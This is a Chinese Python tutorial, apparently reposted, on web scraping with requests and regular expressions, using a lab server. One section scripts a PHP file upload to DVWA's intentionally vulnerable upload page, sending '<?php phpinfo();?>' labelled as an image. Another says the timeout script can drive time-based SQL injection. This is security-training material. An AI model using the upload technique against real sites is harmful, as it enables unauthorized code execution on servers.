Python灰帽编程——网页信息爬取

文章目录

  • 网页信息爬取
    • 1. 相关模块
      • 1.1 requests 模块
        • 1.1.1 模块中的请求方法
        • 1.1.2 请求方法中的参数
        • 1.1.3 响应对象中属性
      • 1.2 RE 模块
        • 1.2.1 匹配单个字符
        • 1.2.2 匹配一组字符
        • 1.2.3 其他元字符
        • 1.2.4 核心函数
    • 2. 网页信息爬取
      • 2.1 获取网页HTML 源代码
      • 2.2 提取图片地址
      • 2.3 下载图片
      • 2.4 完整脚本
    • 3. requests 模块基本用法
      • 3.1 获取浏览器指纹
      • 3.2 发送GET 参数
      • 3.3 发送POST 参数
      • 3.4 文件上传
        • 3.4.1 注意事项
      • 3.5 服务器超时

网页信息爬取

1. 相关模块

1.1 requests 模块

requests 模块：主要是用来模拟浏览器行为，发送HTTP 请求，并处理HTTP 响应的功能。

import requests     # 被认为，最贴近与人的操作的模块
import urllib
import urllib2
import urllib3

requests 模块处理网页内容的基本逻辑：

  • 定义一个URL 地址。
  • 发送HTTP 请求。
  • 处理HTTP 响应。
1.1.1 模块中的请求方法
请求方法说明
requests.get()常规的请求方法 （GET 方法）
requests.post()带有请求正文的 （POST 方法）
requests.head()只返回响应头部，没有响应正文
requests.options()测试服务器所支持的方法
requests.put()向服务器写入文件
requests.delete()请求删除服务器端文件
1.1.2 请求方法中的参数
参数名字参数含义
url请求URL 地址
headers自定义请求头部
params发送GET 参数
data发送POST 参数
timeout请求延时
files文件上传数据流
1.1.3 响应对象中属性
方法名解释
response.text响应正文（文本方式）
response.content响应正文（二进制）
response.status_code响应状态码
response.url发送请求的URL 地址
response.headers响应头部
response.request.headers请求头部
response.cookiescookie 相关信息

1.2 RE 模块

从网页内容中提取图片地址。

正则表达式（RE），是一些由字符和特殊符号组成的字符串，它们能按某种模式匹配一系列有相似特征的字符串。

  • 从哪一个字符串中搜索什么内容。
  • 规则是什么（模式问题）。
>>> import re
>>> s = "I say food not Good"
>>> re.findall('ood',s)
['ood', 'ood']
>>> re.findall(r"[fG]ood", s)
['food', 'Good']
>>> re.findall(r"[a-z]ood", s)
['food']
>>> re.findall(r"[A-Z]ood", s)
['Good']
>>> re.findall(r"[0-9a-zA-Z]ood", s)
['food', 'Good']
>>> re.findall(r"[^a-z]ood",s)
['Good']
>>> re.findall('.ood',s)
['food', 'Good']
>>> re.findall(r'food|Good|not',s)
['food', 'not', 'Good']
>>> re.findall(r".o{1,2}.", s)
['food', 'not', 'Good']
>>> re.findall('o*',s)
['', '', '', '', '', '', '', 'oo', '', '', '', 'o', '', '', '', 'oo', '', '']
>>> >>> s = "How old are you? I'm 24!"
>>> re.findall(r"[0-9]{1,2}", s)
['24']
>>> re.findall(r"\d{1,2}", s)
['24']
>>> re.findall(r"\w", s)
['H', 'o', 'w', 'o', 'l', 'd', 'a', 'r', 'e', 'y', 'o', 'u', 'I', 'm', '2', '4']
>>> >>> s = 'I like google not ggle goooogle and gogle'
>>> re.findall('o+',s)
['oo', 'o', 'oooo', 'o']
>>> re.findall('go+',s)
['goo', 'goooo', 'go']
>>> re.findall('go+gle',s)
['google', 'goooogle', 'gogle']
>>> re.findall('go?gle',s)
['ggle', 'gogle']
>>> re.findall('go{1,2}gle',s)
['google', 'gogle']
>>>
1.2.1 匹配单个字符
记号说明
.匹配任意单个字符（换行符除外）\. 表示真正的
[…x-y…]匹配字符集合里的任意单个字符
[^…x-y…]匹配不在字符组里的任意单个字符
\d匹配任意数字，与[0-9] 同义
\w匹配任意数字、字母、下划线，与[0-9a-zA-Z_] 同义，无法匹配特殊符号
\s匹配空白字符，与[\r\v\f\t\n] 同义
1.2.2 匹配一组字符
记号说明
字符串匹配字符串值
字符串1|字符串2匹配字符串1或字符串2
*左邻第一个字符出现0 次或无穷次
+左邻第一个字符最少出现1 次或无穷次
?左邻第一个字符出现0 次或1 次
{m,n}左邻第一个字符出现最少m 次最多n 次
1.2.3 其他元字符
记号说明
^匹配字符串的开始 集合取反
$匹配字符串的结尾
\b匹配单词的边界，单词包括\w 中的内容
()对字符串分组（单独匹配括号中的字符）
\数字匹配已保存的子组
1.2.4 核心函数
核心函数说明
re.findall()在字符串中查找正则表达式的所有（非覆盖）出现；返回一个匹配对象的列表。
re.match()尝试用正则表达式模式从字符串的开头匹配 如果匹配成功，则返回一个匹配对象 否则返回None
re.search()在字符串中查找正则表达式模式的第一次出现 如果匹配成，则返回一个匹配对象 否则返回None
re.group()使用match 或者search 匹配成功后，返回的匹配对象 可以通过group() 方法获取得匹配内容
re.finditer()和findall() 函数有相同的功能，但返回的不是列表而是迭代器 对于每个匹配，该迭代器返回一个匹配对象
re.split()根据正则表达式中的分隔符把字符分割为一个列表，并返回成功匹配的列表字符串也有类似的方法，但是正则表达式更加灵活
re.sub()把字符串中所有匹配正则表达式的地方换成新的字符串
>>> m = re.match('goo','I like google not ggle goooogle and gogle')
>>> type(m)
<class 'NoneType'>
>>> m = re.match('I','I like google not ggle goooogle and gogle')
>>> type(m)
<class 're.Match'>
>>> m.group()
'I'
>>> m = re.search('go{3,}','I like google not ggle goooogle and gogle')
>>> m.group()
'goooo'
>>> m = re.finditer('go*','I like google not ggle goooogle and gogle')
>>> list(m)
[<re.Match object; span=(7, 10), match='goo'>, <re.Match object; span=(10, 11), match='g'>, <re.Match object; span=(18, 19), match='g'>, <re.Match object; span=(19, 20), match='g'>, <re.Match object; span=(23, 28), match='goooo'>, <re.Match object; span=(28, 29), match='g'>, <re.Match object; span=(36, 38), match='go'>, <re.Match object; span=(38, 39), match='g'>]
>>> m = re.split('\.|-','hello-world.ajest')
>>> m
['hello', 'world', 'ajest']
>>> s = "hi x.Nice to meet you, x."
>>> s = re.sub('x','WUHU',s)
>>> s
'hi WUHU.Nice to meet you, WUHU.'
>>>

2. 网页信息爬取

通过python 脚本爬取网页图片：

  • 获取整个页面所有源码。
  • 从源码中筛选出图片的地址。
  • 将图片下载到本地。

2.1 获取网页HTML 源代码

# 01 - 获取网页源代码.pyimport requestsurl = "http://192.168.188.187/pythonSpider/"# 定义了一个请求头（headers）字典。请求头包含了一些信息，例如用户代理（User-Agent），用于模拟浏览器发送请求。
headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}# 接收一个URL作为参数，并利用requests.get()方法发送GET请求获取网页内容。
def getHtml(url):res = requests.get(url = url, headers = headers)# 显示页面的编码print(res.encoding)# 字符串以二进制的形式显示return res.content# 调用getHtml函数并打印返回的HTML内容。
print(getHtml(url = url).decode("utf8"))

image-20230920193752822

2.2 提取图片地址

网页中的图片地址如下：

image-20230920194303080

# 02 - 提权图片地址.py
import requests
import reurl = "http://192.168.188.187/pythonSpider/"headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}# 获取页面源码
def get_html(url):res = requests.get(url =url，headers=headers)# 字符串以二进制的形式返回return res.content# 从源码中获取图地址
# 利用正则表达式匹配出HTML中的图片路径并返回列表。
def get_html_path_list(html):img_path_list = re.findall(r"style/\w*\.jpg",html)return img_path_list# 在主程序中调用getHtml函数获取网页内容
html = get_html(url = url)# 将其解码为字符串,然后将解码后的内容传递给getImgPathList函数。
img_path_list = get_html_path_list(html.decode())# 获取图片路径列表。
for imgPath in img_path_list:img_url = url + imgPathprint(img_url)

image-20230920193842006

2.3 下载图片

# 03 - 下载图片.pyimport requests# 定义了一个URL变量，指定要请求的目标网址。
url = "http://192.168.188.187/pythonSpider/"# 定义了一个图片路径变量，以及一个完整的图片URL，通过拼接URL和图片路径得到。
img_path = "style/u401307265719758014fm173s0068CFB1485C3ECA44B8C5E5030090F3w21.jpg"img_url = url + img_pathheaders = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}def get_html(url):res = requests.get(url = url, headers = headers)return res.content# 接收一个图片保存路径和图片URL作为参数。在函数内部，打开文件以二进制写入模式，利用get_html函数获取图片内容，并将其写入文件。
def save_img(img_save_path, img_url):with open(img_save_path, "wb") as f:f.write(get_html(url = img_url))# 在主程序中调用save_img函数，传递图片保存路径和图片URL，将图片内容下载并保存到本地。
save_img("./images/1.jpg", img_url)

2.4 完整脚本

import requests
import re
import timeurl = "http://192.168.188.187/pythonSpider/"headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}# 定义了一个名为get_html的函数，用于发送HTTP GET请求获取指定URL的响应内容，并返回其二进制形式的内容。
def get_html(url):res = requests.get(url = url, headers = headers)return res.content# 接受一个字符串类型的HTML内容作为参数，并使用正则表达式 re.findall() 来提取页面源代码中的图片路径，然后将其以列表形式返回。
def get_img_path_list(html):img_path_list = re.findall(r"style/\w*\.jpg", html)return img_path_list# 接受两个参数 img_save_path 和 img_url，函数内部使用二进制写入模式打开指定的本地文件路径 img_save_path，然后将通过调用 get_html 函数获取到的图片内容写入该文件。
def img_download(img_save_path, img_url):with open(img_save_path, "wb") as f:f.write(get_html(url = img_url))# 调用 get_html 函数，传入 url 参数，发送HTTP请求并获取网页响应的内容，然后使用 .decode() 方法将其解码为字符串形式。        
html = get_html(url = url).decode()# 调用 get_img_path_list 函数，传入 html 参数，该参数是上一步获取到的网页内容，函数将返回一个包含图片路径的列表。
img_path_list = get_img_path_list(html = html)for img_path in img_path_list:# 对于每个图片路径 img_path，拼接出完整的图片链接 img_urlimg_url = url + img_path# 使用当前时间戳构造出本地保存路径 img_save_pathimg_save_path = f"./images/{time.time()}.jpg"# 传入图片保存路径和图片链接进行下载。img_download(img_save_path = img_save_path, img_url = img_url)

3. requests 模块基本用法

3.1 获取浏览器指纹

import requestsurl = "http://192.168.188.187/pythonSpider/index.html"headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}# 默认同一个会话脚本中的请求可能有多个，requests.Session可以维护持久化的连接和会话状态
req = requests.Session()    # 保持一致性# 调用 requests 库的 get() 方法，传入 url 和 headers 参数，发送HTTP GET请求，并将返回的响应对象赋值给变量 res。
res = req.get(url = url , headers = headers)# print(res.text)            # 响应正文内容的字符串
print("====================================")
print(res.status_code)       # 打印响应状态码
print("====================================")
print(res.headers)           # 打印响应头信息
print("====================================")
print(res.url)               # 请求的URL的地址
print("====================================")
print(res.encoding)          # 显示页面的编码
print("====================================")
print(res.request.headers)   # 打印request属性的headers字段

3.2 发送GET 参数

import requestsurl = "http://192.168.188.187/pythonSpider/index.html"headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}# 默认同一个会话脚本中的请求可能有多个，requests.Session可以维护持久化的连接和会话状态
req = requests.Session()    # 保持一致性params = {"username" : "WUHU","password" : "123456"
}# 调用 requests 库的 get() 方法，传入 url、headers 和 params 参数，发送HTTP GET请求，并将返回的响应对象赋值给变量 res。在这个例子中，params 参数会被自动构造成查询字符串并附加在URL后面。
res = req.get(url = url , headers = headers, params = params)print(res.url)

3.3 发送POST 参数

import requestsurl = "http://192.168.188.187/pythonSpider/index.html"headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}# 默认同一个会话脚本中的请求可能有多个，requests.Session可以维护持久化的连接和会话状态
req = requests.Session()    # 保持一致性# 设置请求的表单数据，这里使用字典表示用户名和密码。
data = {"username" : "WUHU","password" : "123456"
}# 使用Session对象的post方法发送POST请求。传入URL、请求头和表单数据作为参数。请求头和表单数据将被添加到HTTP请求中。
res = req.post(url = url , headers = headers, data = data)print(res.url)
print(res.request.body)

3.4 文件上传

模拟文件上传，以DVWA靶场中的文件上传漏洞Low级别为例

image-20230920190805663

使用bp抓取数据包查看需要哪些参数

image-20230920191010573

脚本内容如下：

import requests
import re
import bs4url = "http://192.168.188.187/dvwa_2.0.1/vulnerabilities/upload/"req = requests.Session()# 还得携带Cookie信息，因为在上传文件的时候，只有登录成功后才可以进行上传文件。
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36","Cookie": "security=low; security=low; PHPSESSID=jvrc2c84pq9dnvdcqvd545t4o1"
}# 添加变量MAX_FILE_SIZE，Upload
data= {"MAX_FILE_SIZE" : "100000","Upload" : "Upload"
}# 字典的key就是文件域的名字
# value包含文件名，文件类型，文件内容。以元组的显示表现，因为文件的信息不可以修改
# 文件内容前面添加一个b表示二进制数据
# 注意顺序是文件名，文件内容，文件类型
files= {"uploaded" : ("wuhu.php", b"<?php phpinfo();?>", "image/png")
}res= req.post(url= url, headers= headers, data= data, files= files)# print(res.text)# 正则匹配
# file_path = re.findall(r"<pre>(.*) succesfully uploaded!</pre>", res.content.decode())[0]
# print(file_path)# 在文档中解析pre标签
html = res.text
html = bs4.BeautifulSoup(html,"lxml")   # 解析为lxml格式# 搜索pre标签
pre = html.find_all("pre")# 从标签中获取文本
pre = pre[0].text# 对字符串进行切片
file_path = pre[0:pre.find(" ")]# 字符串拼接
file_path = url + file_pathprint(file_path)

脚本执行结果

image-20230920191625666

页面访问效果

image-20230920193058203

3.4.1 注意事项
  • files字典的key就是文件域的名字

image-20230920173329167

  • 文件内容前面添加一个 b 表示二进制数据。

image-20230920175601605

  • 需要添加两个信息分别是：MAX_FILE_SIZE，Upload

image-20230920174143417

  • 还得携带Cookie信息，因为在上传文件的时候，只有登录成功后才可以进行上传文件。

image-20230920175547033

  • files字典的顺序是文件名，文件内容，文件类型

image-20230920191438031

  • 在提取文件的上传路径时候可以采用正则匹配也可以使用Python中的第三方库 BeautifulSoup

BeautifulSoup 是一个用于解析 HTML 和 XML 文档的库，它提供了方便的方法和工具来从网页中提取数据。通过使用 BeautifulSoup，可以轻松地遍历、搜索和操作 HTML/XML 树结构，从而实现对网页内容的抽取和分析。

3.5 服务器超时

说明：服务器超时脚本可以编写SQL注入中的延时注入脚本。

sleep.php文件

<?phpsleep(8);echo "wuhu haha heihei";
?>

服务器超时脚本

# 09 - 服务器超时.py
import requestsurl = "http://192.168.188.187/php/functions/sleep.php"headers= {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36"
}def get_timeout(url):try:req =  requests.Session()# timeout = 5表示在5秒之内没有等到服务器的回应就不等了res = req.get(url= url , headers = headers, timeout = 5)except:return "timeout!"else:return res.textprint(get_timeout(url))

如果sleep.php中延时8秒那么服务器超时脚本就会输出"timeout!"。

image-20230920190515840

延时3秒服务输出"wuhu haha heihei"。

image-20230920190451041

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/137551.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

项目开发流程

项目开发流程

最近在工作中总是觉得项目开发周期不足,和领导以及同时沟通后,发现自己在评估开发时间的时候,评估不准确,缺少了某些环节的时间评估。例如,没有把需求反串讲,方案讨论和制定以及自测的时间评估在内。所以大致理了一下整个项目的开发周期包含的工作量,这些工作量都需要在给出人力…
阅读更多...
多线程的学习第二篇

多线程的学习第二篇

多线程 线程是为了解决并发编程引入的机制. 线程相比于进程来说,更轻量 ~~ 更轻量的体现: 创建线程比创建进程,开销更小销毁线程比销毁进程,开销更小调度线程比调度进程,开销更小 进程是包含线程的. 同一个进程里的若干线程之间,共享着内存资源和文件描述符表 每个线程被独…
阅读更多...
ORB-SLAM2_RGBD_DENSE_MAP编译、问题解决、离线加载TUM数据和在线加载D435i相机数据生成稠密地图

ORB-SLAM2_RGBD_DENSE_MAP编译、问题解决、离线加载TUM数据和在线加载D435i相机数据生成稠密地图

文章目录 0 引言1 安装依赖1.1 其他库安装1.2 pcl库安装 2 编译ORB-SLAM2_RGBD_DENSE_MAP2.1 build.sh2.2 build_ros.sh 3 运行ORB-SLAM2_RGBD_DENSE_MAP3.1 build.sh编译版本3.2 build_ros.sh编译版本 0 引言 ORB-SLAM2_RGBD_DENSE_MAP是基于ORB-SLAM2框架的一种RGB-D稠密地图…
阅读更多...
uniapp Echart X轴Y轴文字被遮挡怎么办，或未能铺满整个容器

uniapp Echart X轴Y轴文字被遮挡怎么办，或未能铺满整个容器

有时候布局太小&#xff0c;使用echarts&#xff0c;x轴y轴文字容易被遮挡&#xff0c;怎么解决这个问题呢&#xff0c;或者是未能铺满整个容器。 方法1&#xff1a; 直接设置 containLabel 字段 options: { grid: { containLabel: true, },} 方法2: 间接设置&#xff0c;但是…
阅读更多...
Kotlin协程CoroutineScope异步async取消cancel等待await的任务

Kotlin协程CoroutineScope异步async取消cancel等待await的任务

Kotlin协程CoroutineScope异步async取消cancel等待await的任务 import kotlinx.coroutines.*fun main(args: Array<String>) {runBlocking {val mScope CoroutineScope(Dispatchers.IO).async {println("->")delay(999999)println("<-")"…
阅读更多...
Jenkins结合Gitlab，实现镜像构建及推送

Jenkins结合Gitlab，实现镜像构建及推送

docker-compose jenkins的docker-compose目录为为/home/jenkins&#xff0c;这个后面写脚本的时候需要对应上 version: 3 services:docker_jenkins:restart: alwaysimage: jenkins/jenkins:ltscontainer_name: docker_jenkinsprivileged: true ports:- 8080:8080- 50000:5000…
阅读更多...
【自学开发之旅】Flask-前后端联调-异常标准化返回（六）

【自学开发之旅】Flask-前后端联调-异常标准化返回（六）

注册联调&#xff1a; 前端修改&#xff1a; 1.修改请求向后端的url地址 文件&#xff1a;env.development修改成VITE_API_TARGET_URL http://127.0.0.1:9000/v1 登录&#xff1a;token验证 校验forms/user.py from werkzeug.security import check_password_hash# 登录校验…
阅读更多...
Ubuntu下安装Clion

Ubuntu下安装Clion

前言 CLion 是一款由 JetBrains 开发的 C 集成开发环境&#xff08;IDE&#xff09;&#xff0c;它拥有许多强大的功能&#xff0c;如代码自动完成、调试器、版本控制等等。CLion本身是收费软件&#xff0c;但如果是学生的话可以申请免费使用。 测试安装环境&#xff1a;Ubunt…
阅读更多...
2614. 对角线上的质数-c语言解法

2614. 对角线上的质数-c语言解法

给你一个下标从 0 开始的二维整数数组 nums 。 返回位于 nums 至少一条 对角线 上的最大 质数 。如果任一对角线上均不存在质数&#xff0c;返回 0 。 注意&#xff1a; 如果某个整数大于 1 &#xff0c;且不存在除 1 和自身之外的正整数因子&#xff0c;则认为该整数是一个…
阅读更多...
iOS蓝牙 Connection Parameters 关键参数说明

iOS蓝牙 Connection Parameters 关键参数说明

1. 先贴苹果文档 《 Accessory Design Guidelines for Apple Devices 》 2. 几个关键词 connection Event Interval 事件间隔&#xff0c;为1.25ms的倍数。可以简单理解为,是两个连接着的蓝牙设备发送“心跳包”的时间间隔&#xff1b; 范围是 6 ~ 3200&#xff0c;即 7.5…
阅读更多...
【ArcGIS】土地利用变化分析详解（栅格篇）

【ArcGIS】土地利用变化分析详解（栅格篇）

土地利用变化分析详解-栅格篇 土地利用类型分类1 统计不同土地利用类型的面积/占比1.1 操作步骤 2 统计不同区域各类土地利用类型的面积2.1 操作步骤 3 土地利用变化转移矩阵3.1 研究思路3.2 操作步骤 4 分析不同时期土地利用类型及属性变化4.1 研究思路4.2 操作步骤 参考 土地…
阅读更多...
建不同锁对象对同表同数据加锁会怎样？

建不同锁对象对同表同数据加锁会怎样？

建不同锁对象对同表同数据加锁会怎样&#xff1f; 同事突然问我这个问题&#xff0c;这种东西动手测一下&#xff0c;两分钟的事儿。验证下自己心中所想。 建俩锁对象~ 代码 打断点 执行&#xff1a; 能动手就敲一下&#xff0c;懒得想&#xff0c;懒得记~ 推荐阅读&#xff1a…
阅读更多...
ETLCloud助力富勒TMS实现物流数仓同步

ETLCloud助力富勒TMS实现物流数仓同步

富勒TMS提供了多种运输管理业务的解决方案&#xff0c;极大的方便了企业对物流的管理和人力输出&#xff0c;同时提供了大量的API接口&#xff0c;供用户做数据集成和数仓同步。 通过富勒TMS中心&#xff0c;第三方开发者和商家可实现以下功能&#xff1a; MS系统数据同步&…
阅读更多...
【QT】day4

【QT】day4

闹钟 头文件&#xff1a; #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QDebug> #include <QMouseEvent> //鼠标时间 #include <QPaintEvent> //绘制时间 #include <QPainter> //画家时间 #include <QPixmap> //图…
阅读更多...
Python实现MYSQL蜜罐

Python实现MYSQL蜜罐

1 LOAD DATA INFILE介绍 首先开启一个Mysql&#xff0c;看一下mysql是如何读取主机文件的。 1.1 linux搭建mysql 1&#xff09;docker运行mysql 2&#xff09;启动Mysql docker run -itd…
阅读更多...
Android Studio插件版本与Gradle 版本对应关系

Android Studio插件版本与Gradle 版本对应关系

关于作者&#xff1a;CSDN内容合伙人、技术专家&#xff0c; 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 &#xff0c;擅长java后端、移动开发、商业变现、人工智能等&#xff0c;希望大家多多支持。 目录 一、导读二、概览三、Gradle各版本对应关系3.1 Gradle 版…
阅读更多...
【C++】STL详解（六）—— list的模拟实现

【C++】STL详解（六）—— list的模拟实现

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;C学习 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 上一篇博客&#xff1a;【C】STL…
阅读更多...
移动测试之语音识别功能如何测试？

移动测试之语音识别功能如何测试？

移动测试之语音识别功能如何测试&#xff1f; 要知道语音识别功能如何测试&#xff0c;我们先了解智能产品语音交互流程&#xff1a; 所以&#xff0c;要进行测试的话&#xff0c;我们需要从以下几个维度来准备测试点&#xff1a; 基础功能测试&#xff1a; 1、声纹的录入&…
阅读更多...
【Java 基础篇】Java Condition 接口详解

【Java 基础篇】Java Condition 接口详解

Java 提供了一种更灵活和高级的线程协作机制&#xff0c;通过 Condition 接口的使用&#xff0c;你可以更精细地控制线程的等待和唤醒&#xff0c;实现更复杂的线程同步和通信。本文将详细介绍 Java 的 Condition 接口&#xff0c;包括它的基本概念、常见用法以及注意事项。 什…
阅读更多...
MyBatis 篇

MyBatis 篇

目录 1、什么是MyBatis 2、说说MyBatis的优点和缺点 3、#{}和${}的区别是什么&#xff1f; 4、当实体类中的属性名和表中的字段名不一样 &#xff0c;怎么办 &#xff1f; 5、Mybatis是如何进行分页的&#xff1f;分页插件的原理是什么&#xff1f; 6、Mybatis是否支…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023